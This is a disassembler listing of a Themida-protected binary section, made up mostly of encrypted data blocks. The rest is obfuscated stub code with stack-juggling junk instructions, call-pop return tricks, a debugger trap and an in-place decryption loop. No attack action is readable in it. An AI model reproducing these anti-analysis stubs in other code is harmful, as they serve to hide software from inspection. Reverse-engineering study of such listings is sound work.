		dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh
		dd 9BD5DD04h, 5DDFA016h, 0BAB5h, 8D4FD100h, 0EF56C624h
		dd 1086F2AAh, 0F0AA4051h, 0A71E2050h, 16A40D91h, 7AB78798h
		dd 37EC89F9h, 647A44B4h, 9BE9B8E1h, 98724316h, 3C6C0C9Eh
		dd 73F73C22h, 643C6703h, 87108119h, 0D9ABEE55h,	41521CB4h
		dd 61344076h, 62083EEDh, 9FB753Eh, 40EBA1DAh, 248D4F6Fh
		dd 0A8F154C4h, 531CB4EBh, 0A06EA842h, 0EBC207BEh, 98A91CB4h
		dd 0C8F8C8F2h, 0CB3BBDF6h, 4618F2CBh, 0AE19237Fh, 94693A1Ah
		dd 0ABAA1D25h, 0B03CB8BEh, 0C8000004h, 817FE6Eh, 0C75C39A9h
		dd 101FF666h, 7EB540B0h, 0B2E98CFCh, 0F464C6F9h, 3DAD1221h
		dd 0F969CB58h, 34A4071Ch, 0DD687661h, 169BDAB4h, 0B686B637h
		dd 1086F293h, 86F23E5Fh, 0D707B710h, 0DF63C07h,	0A67716A4h
		dd 90008370h, 0D429980Dh, 0DD654FB7h, 45Bh, 6431A11Dh
		dd 1BFA6ACFh, 5C39A904h, 24F161C7h, 5A3BAB0Fh, 0EF534E3Dh
		dd 2689967Fh, 0F450DFB6h, 0C142F184h, 4B13C451h, 9BDA5178h
		dd 0E15B1C16h, 72E2624Fh, 729F4B44h, 375A111h, 6EB31233h
		dd 801086F2h, 0A9A69000h, 0AD1826F7h, 1086F264h, 45193607h
		dd 9BF9127Eh, 0DA696B16h, 1693F5B7h, 0F40FCCDh,	9B05647Eh
		dd 0C811B48Ah, 0B31693B3h, 0EBF1CDE2h, 93B03158h, 0A6EB5A16h
		dd 451693B0h, 5DDFCC74h, 0FBD4A9EDh, 0BA41840Fh, 0B4170A40h
		dd 2FC636h, 96241282h, 0ACA9B5E5h, 1C1C8889h, 92E1898Ah
		dd 57C724A6h, 81F1525Fh, 0C2F2C6F4h, 49FCE2FCh,	1086F200h
		dd 9530DAEBh, 169BFB5Dh, 83F375BEh, 0F0D0BA93h,	4EB2FFDFh
		dd 1C022CDEh, 8BEA13Bh,	98723BD3h, 933BE02Dh, 6AC78D16h
		dd 0F821A405h, 8316933Bh, 0AC999DB2h, 610AC9BBh, 3B2F0035h
		dd 5DE06954h, 0E39DBDA0h, 38h, 0DB0BABB7h, 0F5F04003h
		dd 0BC8D169Bh, 8083B5A2h, 280F7FFEh, 0FED9764Ch, 0ECBABDh
		dd 3FED9D96h, 66D6545Dh, 51F41984h, 16811693h, 0BD17A2A7h
		dd 79D9DBDh, 79000001h,	8757C724h, 955EC62Ah, 0B6D81408h
		dd 86B05A75h, 0AA1A9B98h, 0EE9C0C69h, 494DBD3Dh, 536BDB58h
		dd 7297BA89h, 45561086h, 8CA567A5h, 827BBB2Bh, 67C82BE8h
		dd 8672B5DCh, 48673810h, 77E608ADh, 79FA1086h, 34B76C09h
		dd 3CB9FAC4h, 15F5CACCh, 35273517h, 86774B8Eh, 0C4613210h
		dd 1086779Dh, 61D13360h, 42F69C4Eh, 0B5794C12h,	56169B71h
		dd 7A94BD88h, 4E571693h, 7B4070A1h, 0F595BADDh,	0C5EEF0C1h
		dd 44DFF868h, 2DB06308h, 2E303B2Fh, 234A405h, 83335D0Dh
		dd 90B88B53h, 5D108B84h, 6B6C724Ch, 3EC354E4h, 9495757Bh
		dd 60CFA616h, 882E7AE2h, 94130D7Fh, 285BE2BBh, 7680B1C5h
		dd 25E0Eh, 2C9C1A00h, 0E757DA49h, 34A4210Eh, 0FE6ED261h
		dd 3AAA0817h, 544F3C5Bh, 0A08F66D6h, 59C6AF1Fh,	958A6BDBh
		dd 4CFA616h, 0D8266BDAh, 44C5169Bh, 65C624F8h, 86F2BBDEh
		dd 5E714210h, 9B0B68B7h, 0BAB2EFAh, 0F04003DBh,	8D169BF5h
		dd 0D2FB7ABCh, 9B1693F1h, 5B16BC99h, 0EF285897h, 202994FBh
		dd 9DBDCF9Dh, 0FC23h, 8D4FF700h, 86F293B6h, 0A1495A10h
		dd 9BA31370h, 13059ABAh, 86648FCDh, 0A7179B88h,	6AEA146Fh
		dd 8291086h, 4F93DADh, 0DE46A566h, 1F06FF1h, 0A6FA4ABh
		dd 8CA39C9Ah, 1D58A5B2h, 5A3E63E2h, 0ECBD1086h,	38D2A9CBh
		dd 8FEC4352h, 0ED91171Fh, 9ABBA1BDh, 44C0FA45h,	0CAEDE2D4h
		dd 38D2D133h
		dd 9B2AA18Dh, 4302C416h, 1693131Eh, 12E3CCDDh, 9AA4D4A4h
		dd 1783E8BDh, 1AF32393h, 0B7DE6C3Dh, 71C281D3h,	108B7Ah
		dd 0A0220F2Fh, 0AF045A30h, 7879E34Bh, 442A6180h, 15958A6Bh
		dd 0D147D8A5h, 9E98B1C3h, 14E16h, 5CCC2A00h, 97076AB9h
		dd 64D431FEh, 0AE1EA291h, 6ADA58C7h, 249F0C8Bh,	70BF56C6h
		dd 29F69F0Fh, 65BA5BCBh, 0D4FF9606h, 0DE163B0Ah, 14D5169Bh
		dd 56C62428h, 0AAEF5688h, 511086F2h, 54CBAA40h,	5A5767D7h
		dd 582D69D9h, 0C4880365h, 454E61B2h, 0F99476E6h, 0E2624F33h
		dd 3363D356h, 4C41755Ah, 820E6D9Eh, 9DA18EFEh, 6DA91994h
		dd 0F5BE7898h, 103F3E64h, 44A7BC7Ah, 49A90AD4h,	0E5CA3ABDh
		dd 4302DCB1h, 1086381Eh, 4F1ECCDDh, 0D646A60Bh,	95FBEFE0h
		dd 0AFADB1E1h, 8638CD14h, 0EB9FB010h, 0DA697369h, 108638B7h
		dd 16856536h, 16A4C704h, 0F1023405h, 0DC532292h, 0FE6ED35Fh
		dd 44A40DD1h, 0FDEDE2D4h, 75C6B40Fh, 672D8Bh, 0AD0C25CDh
		dd 0CDCB6E45h, 1639D2A2h, 0CE3B2F20h, 3618FD6Dh, 19749D28h
		dd 26F731ABh, 0F464C744h, 0DF4FB1C2h, 822DDCD7h, 0DB5AE645h
		dd 4BCB4C6Bh, 32E5B3DAh, 0A81B411Dh, 31AB2061h,	29991F0Ch
		dd 45096406h, 2065AC17h, 1B0831ABh, 0A092696h, 0D65337A7h
		dd 768C955h, 0AB20153Ch, 0E8C7D831h, 0B8FED1AEh, 1A3Ch
		dd 0C3417200h, 806A6353h, 6F6D2F9Ch, 0F550C042h, 1086F2ACh
		dd 6FDF624Fh, 2472AA40h, 475C5ACAh, 314274E4h, 3E3363D3h
		dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
		dd 783C7AEAh
; ---------------------------------------------------------------------------


loc_5FC7A8:				; DATA XREF: Themida_:0057A358o
					; Themida_:0057C680o
		push	6C4Ah
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	61D1C3Ch
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dw 61A6h
		dd 81FA897Dh, 2725613Eh, 0B8FDB280h, 61D2D79h, 0E0FFC503h
		dd 48C17BAFh, 2EDC56B0h, 7DBF561Fh, 6835F0C6h, 3B5CA06Bh
		dd 6B74D349h, 1A042357h, 3EA85C82h, 15D792EDh, 717037D7h
		dd 56B34A14h, 75FED18h,	0CE630B1h, 39C0F25Eh, 722A8E1Dh
		dd 652FFB8Bh, 18B4D02Ah, 4FD57C0Bh, 26DC82F8h, 7AFE6647h
		dd 35755FF1h, 5505B8D4h, 677F4277h, 6B812618h, 7B1D3BBAh
		dd 705CF5D2h, 39453C53h, 7959CE9Ch, 2F278D8Dh, 6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E97588C3h, 9, 7455D39Ah, 27F3F16Ch,	218D890Eh, 89061527h
		dd 15225195h, 0CD85C706h, 0FC061504h, 0E9000070h, 0Ah
		dd 0B96B5652h, 4C1F769Ah, 85C7063Eh, 6151115h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61510F1h]
		push	0
		push	ecx
		call	sub_5FC90D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC90D	proc near		; CODE XREF: Themida_:005FC905p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5FC90D	endp

; ---------------------------------------------------------------------------
		xor	dword ptr [edx-79h], 29h
		mov	ebp, 61503A5h
		call	dword ptr [ebp+61502C9h]
		push	0
		push	ebp
		call	sub_5FC937
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC937	proc near		; CODE XREF: Themida_:005FC92Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5FC937	endp

; ---------------------------------------------------------------------------
		push	cs
		mov	esp, 0F18BEF50h
		mov	ah, 37h
		push	0
		call	dword ptr [ebp+6152E21h]
		mov	eax, eax
		jmp	short loc_5FC9D3
; ---------------------------------------------------------------------------
		lahf
		dec	ebx
		les	ebp, [ebx-19h]
		int	3		; Trap to Debugger
		xor	[eax+771E5025h], al
		xor	ch, [esi+ebx*8+4BE35760h]
		pop	eax
		dec	ecx
		setalc
		cmpsd
		sub	al, dl
		retf	4704h
; ---------------------------------------------------------------------------
		popf
		or	esp, ebp
		add	edi, esi
		cmp	[esi], eax
		pop	es
		xchg	eax, esi
		mov	ebp, 793EC9B1h
		fistp	word ptr [edi-29h]
		xchg	eax, esi
		dec	ebp
		db	66h
		jbe	short loc_5FC9A0
		retf
; ---------------------------------------------------------------------------
		dw 0A279h
; ---------------------------------------------------------------------------
		and	ebx, [ecx-46A10AA2h]
		xlat
		add	[ebx+6762ED2Fh], dh
		sub	al, 0F2h
		cdq


loc_5FC9A0:				; CODE XREF: Themida_:005FC98Aj
		das
		rep add	eax, 2C61A7D5h
		db	64h
		fcom	st(5)
		test	al, 0
		sbb	ch, al
		pop	ss
		xor	eax, esi
		daa
		sub	esi, [ebx-214AC918h]
		setp	byte ptr [edi+ebx*4+73h]
		daa
; ---------------------------------------------------------------------------
		dw 0C88Eh
		dd 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h
		db 5Bh,	9Eh, 0BEh
; ---------------------------------------------------------------------------


loc_5FC9D3:				; CODE XREF: Themida_:005FC959j
		lea	ecx, [ebp+61D3072h]
		mov	[ebp+61526A5h],	eax
		mov	[ebp+6152721h],	ecx
		push	0
		push	eax
		call	sub_5FC9F0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FC9F0	proc near		; CODE XREF: Themida_:005FC9E8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5FC9F0	endp

; ---------------------------------------------------------------------------
		dd 2276276Bh, 78B866BBh, 7886BA75h, 85C74F31h, 61504CDh
		dd 5C74h, 64E88166h, 1585C7EEh,	61511h,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 593EC353h, 0ED83C3CAh, 6B9C0B6Eh, 2CBDB5FFh,	6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FFA6C7C3h, 1502C995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1C4BB705h
		dd 1F288C78h, 6AC8CEh, 2E2195FFh
		db 15h
; ---------------------------------------------------------------------------


loc_5FCAA1:				; DATA XREF: Themida_:00579DF4o
		push	es
		mov	eax, eax
		jmp	short loc_5FCAC1
; ---------------------------------------------------------------------------
		dw 7171h
		dd 6A5F3C6Ch, 131A6DCEh, 4B9213EFh, 0BDD5BB69h,	0E9D700Eh
		dd 0DFB42610h
		db 20h
; ---------------------------------------------------------------------------


loc_5FCAC1:				; CODE XREF: Themida_:005FCAA4j
		jmp	short loc_5FCAD3
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5FCAD3:				; CODE XREF: Themida_:loc_5FCAC1j
		mov	eax, eax
		push	eax
		jnz	loc_5FCAEC
		jmp	loc_5FCAEC
; ---------------------------------------------------------------------------
		imul	ebp, [eax+0B29A3A4h], 0C93DD0F1h
		xchg	eax, edx


loc_5FCAEC:				; CODE XREF: Themida_:005FCAD6j
					; Themida_:005FCADCj
		pop	edx
		mov	[ebp+6150C41h],	ecx
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5FCB05
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5FCB1E


loc_5FCB05:				; CODE XREF: Themida_:005FCAFAj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617AA9Eh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5FCB1E:				; CODE XREF: Themida_:005FCB03j
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5FCB3E
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617A78Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5FCB3E:				; CODE XREF: Themida_:005FCB25j
		push	0
		push	esi
		call	sub_5FCB49
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FCB49	proc near		; CODE XREF: Themida_:005FCB41p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5FCB49	endp

; ---------------------------------------------------------------------------
		db 31h,	11h, 37h
		dd 1331B58Bh, 0E8F50615h, 6, 0A43C2397h, 958BC287h, 61504E5h
		dd 4ADE815Eh, 8B482C18h, 57DCB2C0h, 0BE8h, 0DCC45E00h
		dd 59EC6A35h, 12B395F8h, 850Fh,	5E5A0000h, 9858D8Bh, 0B58B0615h
		dd 6151E25h, 1D9D9D89h,	0F9830615h, 5F840F00h, 1000000h
		dd 152EB58Dh, 3D8B6406h, 2Ch, 0E8F7B70Fh, 7, 0BB5D9F36h
		dd 8B154AB9h, 151119B5h, 0FF0B5E06h, 34840Fh, 0FE90000h
		dd 0AA000000h, 5269C073h, 99264FF2h, 92881C7Bh,	8D296662h
		dd 6151D19h, 0F6813F8Bh, 438FF020h, 9589C032h, 615130Dh
		dd 8952AAF3h, 1511F995h, 49355A06h, 6A535041h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 6629C351h, 2229982Ah, 0C585C624h, 47061509h,	0A59B58Bh
		dd 3F680615h, 81D9E78Ch, 0FBED2404h, 858902EEh,	6150805h
		dd 2811B5FFh, 6E80615h,	0D3000000h, 61978FDAh, 0F38B663Ch
		dd 0BC858D5Ah, 0BA061872h, 4E57B64Ah, 810FD0FFh, 3, 89F6B70Fh
		dd 152D2585h, 5958B06h,	0C606152Fh, 1509C585h, 6A5306h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 6A1A0AC3h, 0BA66EF3Bh, 0BA66B270h, 4E83593h,	0FC000000h
		dd 5088986Ah, 448B5A53h, 5E560424h, 8B66008Bh, 244489F3h
		dd 58F38B04h, 68E0Fh, 958B0000h, 615044Dh, 2811B5FFh, 858D0615h
		dd 61872BCh, 0B70FD0FFh, 36858DD0h, 66061837h, 89A892BAh
		dd 15248D85h, 15810F06h, 0E9000000h, 10h, 6F87E77Ch, 29001B6h
		dd 0BF81DD52h, 0DC005AA3h, 0FF6A206Ah, 248D95FFh, 49350615h
		dd 0C7535041h, 151E0185h, 106h,	0BD85C700h, 6152Fh, 89000000h
		dd 1504A1BDh, 1858B06h,	66061516h, 64E797BAh, 0A3h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0F9B2446Eh, 48B0F14h, 66000000h, 660BC3BAh, 0BD83D78Bh
		dd 61509CDh, 52840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7DC5C355h
		dd 858B7F05h, 6151D09h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 53C35545h, 27EEB391h,	0DB4E7183h, 0A9958B8Ch
		dd 8B061525h, 0F5BD83E0h, 61527h, 47A850Fh, 85890000h
		dd 6152179h, 9C585C6h, 60560615h, 1F9BD89h, 0FE80615h
		dd 0F4000000h, 839CE39Ah, 0D734FF54h, 0AB2C715h, 0D18B6338h
		dd 968615Ah, 0B252AA8Ch, 240481B3h, 571AA4D6h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h, 9ADBECCCh
		dd 6850F60h, 8B000000h,	1522D195h, 11B5FF06h, 8D061528h
		dd 1872BC85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 81DBC9D4h, 9E9h, 84D87700h, 3E5E600Fh
		dd 0D0FFCC20h, 10C9958Bh, 50500615h, 0F51B652h,	89585A31h
		dd 0F18B2404h, 5E9h, 0D5E2100h,	8D8D4F05h, 6152839h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h, 0E4E90812h
		dd 0E11B58Bh, 8B500615h, 240C89F3h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0FC35343h, 0C5BA1446h, 6A40597Dh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0EC796D27h, 686C5D56h, 7337C894h, 3481F58Ah
		dd 37D89424h, 95B58B73h, 0FF061509h, 150031B5h,	5800F06h
		dd 0BE000000h, 3E015C7Bh, 0C8C28166h, 66D0FF54h, 8BC4DBBEh
		dd 150031BDh, 99B58B06h, 3061519h, 952B3C7Fh, 6151A49h
		dd 0F8C781h, 8D290000h,	6151D99h, 0C765C680h, 202447h
		dd 8B666000h, 0DDEA81D0h, 83687E2Bh, 1D3094BDh,	840F0006h
		dd 1FBh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	54C35040h, 40DE81FFh, 837BC6AFh, 6A28C7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0A85E02C3h, 0C2A6E843h, 860F0BCDh, 11h, 0CE9h, 906F9100h
		dd 0B2FEDA40h, 4AAFE35Bh, 2E07C78Bh, 6A64696Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 5EC2C355h, 0EC553BE8h, 0B70FB1B2h, 47C7F8F0h, 61746104h
		dd 0F99D8900h, 8B06150Ch, 1D309C85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0ACAB6B6h
		dd 24B7D820h, 0FE9A1h, 0A5410000h, 69BE009h, 31619281h
		dd 66A5DC94h, 0C47895Eh, 2691958Bh, 858B0615h, 61D30A0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D6C35545h
		dd 89F18B66h, 6A0847h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0BC7067C3h, 7E9B5D2h, 66000000h
		dd 0F9DDFAFDh, 850FF22Dh, 17h, 12E9h, 0C44CCD00h, 226F139Ah
		dd 620DBD7Ah, 83A65B47h, 835802E6h, 950128C7h, 6150895h
		dd 632E07C7h, 880F6E6Fh, 6, 2AC9B589h, 85290615h, 615271Dh
		dd 660447C7h, 0E8006769h, 6, 0F241A19Bh, 9E9F95Ch, 0AB000000h
		dd 11A0B9Ch, 0CCAD510Ch, 98858B5Eh, 6A061D30h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 689BC351h, 89CBF8FFh, 0FE90C47h, 0DD000000h,	0E6D3FD29h
		dd 0B59EC092h, 2C9A4FB6h, 0B58B68B7h, 6152AC9h,	3094858Bh
		dd 8E0F061Dh, 0Eh, 0F18D8B60h, 81061509h, 0FD7957DEh, 47896132h
		dd 0C99D8908h, 58061505h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0C35646h, 57CC1CDFh, 0D5BD89AFh, 8D061520h
		dd 152C798Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 880FFC3Ah, 4, 6DE8BE66h, 240C8950h
		dd 0B5FFD18Bh, 6152839h, 30159589h, 0DA680615h,	6017C102h
		dd 66CA8B60h, 61BF04B8h, 8D95BF66h, 24348161h, 17C112DAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 17C35242h
		dd 0FF968C1Eh, 150031B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A86EF82Ch
		dd 0D0FF6133h, 0FD98D89h, 85890615h, 6151DADh, 0B8h, 19958B00h
		dd 0B061523h, 22840FC0h, 29000000h, 151E0DB5h, 0FFD78B06h
		dd 1503BDB5h, 7E906h, 84290000h, 0C3F4D90Eh, 0C995FF85h
		dd 0B2061502h, 66C08BF3h, 83B650BAh, 1508F5BDh,	9750006h
		dd 3ADBD83h, 74000615h,	8B535019h, 42DB8C0h, 85890000h
		dd 61502A1h, 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh
		dd 50177400h, 42DB853h,	85890000h, 61502A1h, 0A7A69D8Dh
		dd 0D3FF0617h, 0B70F585Bh, 14E9D2h, 0F7FA0000h,	0CD4019BFh
		dd 0B5B06591h, 1AC02E28h, 43B5ED28h, 0C08B6767h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0ACC35040h, 0AE1B50Bh
		dd 0C08B0615h, 39A98D8Dh, 8D89061Dh, 6152721h, 0AE9h, 4E6DBA00h
		dd 0D0DD6BFh, 0C7A048B2h, 1504CD85h, 6A2006h
		dd 8E900h, 0A0610000h, 975C901Bh, 85C770A4h, 6151115h
		dd 0
; ---------------------------------------------------------------------------
		add	[ebp+6152E25h],	eax
		push	dword ptr [ebp+6152921h]
		push	0
		push	ecx
		call	sub_5FD38B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FD38B	proc near		; CODE XREF: Themida_:005FD383p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5FD38B	endp

; ---------------------------------------------------------------------------
		db 6Dh
		dd 0AB7FE8B2h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0C8DB0AC3h, 39895A02h
		dd 8B9BD9EFh, 152AE5BDh, 0FF006A06h, 152E2195h,	0EBC08B06h
		dd 57E2944Dh, 9EF62DF5h, 83E06193h, 82940FF8h, 316DAFFCh
		dd 4D569CA8h, 9BC5DA6h,	776CB2A9h, 0BFE04DC0h, 84256C08h
		dd 4378F7Ah, 69A05F52h,	0F57E0572h, 0E57657Eh, 7A0A244Ah
		dd 0D195A6D5h, 1E61A9A6h, 68545ED6h, 0EBD4350Eh, 8D8D23E5h
		dd 61D3A98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	16C35141h, 0C4A46B13h, 91DB79B2h, 2D95896Bh, 8906152Fh
		dd 1527218Dh, 0CD85C706h, 8C061504h, 80000074h,	85C784F2h
		dd 6151115h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5FD483
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FD483	proc near		; CODE XREF: Themida_:005FD47Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5FD483	endp

; ---------------------------------------------------------------------------
		mov	word ptr [esi+5Bh], es
		push	edi
		mov	ah, 9Eh
		shl	dword ptr [edx-4Dh], 8Bh
		mov	ebp, 61508EDh
		push	dword ptr [ebp+6152F59h]
		mov	esi, [ebp+6152CD5h]
		call	dword ptr [ebp+61502C9h]
		mov	esi, [ebp+6151381h]
		mov	[ebp+61518EDh],	ecx
		push	0
		call	dword ptr [ebp+6152E21h]
		mov	eax, eax
		jmp	short loc_5FD519
; ---------------------------------------------------------------------------
		dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh
		dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh
		dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh
		dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h
; ---------------------------------------------------------------------------
		dec	ebx


loc_5FD519:				; CODE XREF: Themida_:005FD4CAj
		call	sub_5FD52F
		setalc
		in	al, dx
		and	eax, 89D24804h
		and	[ebp+77C2A0B2h], edx
		inc	esi
		dec	esp
		mov	bh, 88h

; =============== S U B	R O U T	I N E =======================================



sub_5FD52F	proc near		; CODE XREF: Themida_:loc_5FD519p
		mov	ax, dx
		pop	edi
		jnp	loc_5FD53E
		sbb	ax, 93h


loc_5FD53E:				; CODE XREF: sub_5FD52F+4j
		add	edi, 5A30h
		movzx	eax, ax
		mov	ecx, 1662h
		movsx	eax, ax


loc_5FD54F:				; CODE XREF: sub_5FD52F+8Fj
		mov	edx, [edi]
		jmp	loc_5FD564
; ---------------------------------------------------------------------------
		dw 0CA3h
		dd 0E15C7ADBh, 0D3B1A725h, 9EA90D3Ah
; ---------------------------------------------------------------------------


loc_5FD564:				; CODE XREF: sub_5FD52F+22j
		sub	edx, 1ADBE5E4h
		jp	loc_5FD575
		mov	ebx, 2E12DB13h


loc_5FD575:				; CODE XREF: sub_5FD52F+3Bj
		add	edx, 156D8FEAh
		mov	eax, [ebp+6152CD5h]
		xor	edx, 64342394h
		cld
		mov	[edi], edx
		push	esi
		jmp	loc_5FD5A3
; ---------------------------------------------------------------------------
		dd 0F34D25C7h, 4C216EA3h, 65217918h, 10653100h
		db 77h,	4, 12h
; ---------------------------------------------------------------------------


loc_5FD5A3:				; CODE XREF: sub_5FD52F+5Cj
		pop	esi
		sub	edi, 143911D0h
		jmp	loc_5FD5B6
; ---------------------------------------------------------------------------
		stosb
		fld	tbyte ptr [eax+7AA0BA16h]


loc_5FD5B6:				; CODE XREF: sub_5FD52F+7Bj
		add	edi, 143911CCh
		cmc
		dec	ecx
		jnz	loc_5FD54F
		adc	ebx, 724CFF59h
		jmp	loc_5FD5F9
; ---------------------------------------------------------------------------
		db 24h
		dd offset dword_455248+22504h
		dd 9 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5FD5F9:				; CODE XREF: sub_5FD52F+9Bj
		jmp	loc_5FDB7B
; ---------------------------------------------------------------------------
		dw 93F3h
		dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh
		dd 950565h, 0B95CCC33h,	0FB9A0A6Ah, 0BE57C724h,	577A4915h
		dd 16169BC9h, 0C724E755h, 0F053B43Bh, 1086F2A9h, 2A6C4354h
		dd 273C7A55h, 98C253C3h, 9A0A6DC6h, 0DF02A39Ch,	9E1086F2h
		dd 0CF2CDD8Dh, 6075575Fh, 0DD529CABh, 0EA5AD86Ch, 0EFCD3ACh
		dd 102E9E1Dh, 8252774Eh, 0CB71086h, 108682C5h, 182997A8h
		dd 0D9DAC472h, 0EEB0E656h, 86823257h, 0C7E8B910h, 82054CF7h
		dd 0D7E81086h, 0B73F633h, 608212EBh, 53C325A2h,	6A456A63h
		dd 0E1D2B42Ch, 171D35Fh, 4717E82Eh, 8669557Ch, 63071810h
		dd 0E546812Ch, 0A0BEA075h, 8669FC25h, 0BCAE7F10h, 987DED4Fh
		dd 7DB9298Bh, 0F6770364h, 0BA2A8D86h, 6AAC837Ch, 14B31A8Bh
		dd 59E03098h, 0BBF9284Dh, 67A3BB04h, 0FED1FE93h, 0FE6ED3E0h
		dd 51B2810Ch, 0CAE7B5E1h, 0E959DF6Bh, 0B7FFD0ADh, 557924C6h
		dd 9510866Ch, 2D90B924h, 0B397A8B8h, 58h, 57C72487h, 0F2BFE45Fh
		dd 3ABB1086h, 0C67D5F93h, 1086F283h, 475A6401h,	0ED532CDCh
		dd 0FA7F2EDCh, 9C97A8CBh, 71A21297h, 50EC9E0Eh,	1, 55C5246Ch
		dd 81F15061h, 86F674BDh, 0B7392AE4h, 58DF4F47h,	6FDF6265h
		dd 2B9AC486h, 1086F2E6h, 55D6B485h, 0A98F66D6h,	6056C624h
		dd 387EEE53h, 5E58C82Bh, 4175E545h, 0C05F1D54h,	6441A3E4h
